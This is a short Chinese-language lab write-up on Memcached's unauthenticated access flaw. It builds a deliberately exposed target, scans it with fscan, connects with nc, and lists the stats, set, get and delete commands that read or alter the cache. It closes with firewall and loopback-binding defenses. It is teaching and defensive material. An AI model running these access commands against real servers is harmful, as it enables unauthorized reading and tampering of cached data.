漏洞简介:
memcached是一个内存中的键值存储区,用于存储来自数据库调用、API调用或页面呈现结果的任意小数据块(字符串、对象)。memcached简单但功能强大。其简单的设计促进了快速部署、易于开发,并解决了大型数据缓存面临的许多问题。它的API可用于大多数流行语言。
由于 Memcached 的安全设计缺陷客户端连接 Memcached 服务器后无需认证就可读取、修改服务器缓存内容。
漏洞环境搭建:
靶机:Ubuntu 22.04
1、安装Memcache服务端
apt-get install memcached
2、启动服务
memcached -d -m 128 -p 11211 -u root -l 0.0.0.0
netstat -an |more命令查看端口监听情况
回显0.0.0.0:11211表示在所有网卡进行监听,存在Memcached未授权访问漏洞。
漏洞复现:
使用fscan扫描IP
./fscan -h 192.168.161.136
发现存在memcached未授权漏洞
使用nc连接
nc -vv 192.168.161.136 11211
常用命令:(这里得用telnet链接)
stats
返回统计信息例如PID(进程号)、版本号、连接数等
set(存)
set key flags exptime bytes [noreply]
value
get(读)
get key
delete(删)
delete key [noreply]
可视化工具:
下载地址
http://www.treesoft.cn/dms.html
防御手段
1、配置访问控制。
iptables -A INPUT -p tcp -s 192.168.246.130 --dport 11211 -j ACCEPT
2、配置memcached监听本地回环地址127.0.0.1。
memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid
3、修改默认端口。
memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11222 -c 1024 -P /tmp/memcached.pid
4、当memcached配置为监听内网IP或公网IP时,使用主机防火墙(iptalbes、firewalld等)和网络防火墙对memcached服务端口进行过滤。
Comments NOTHING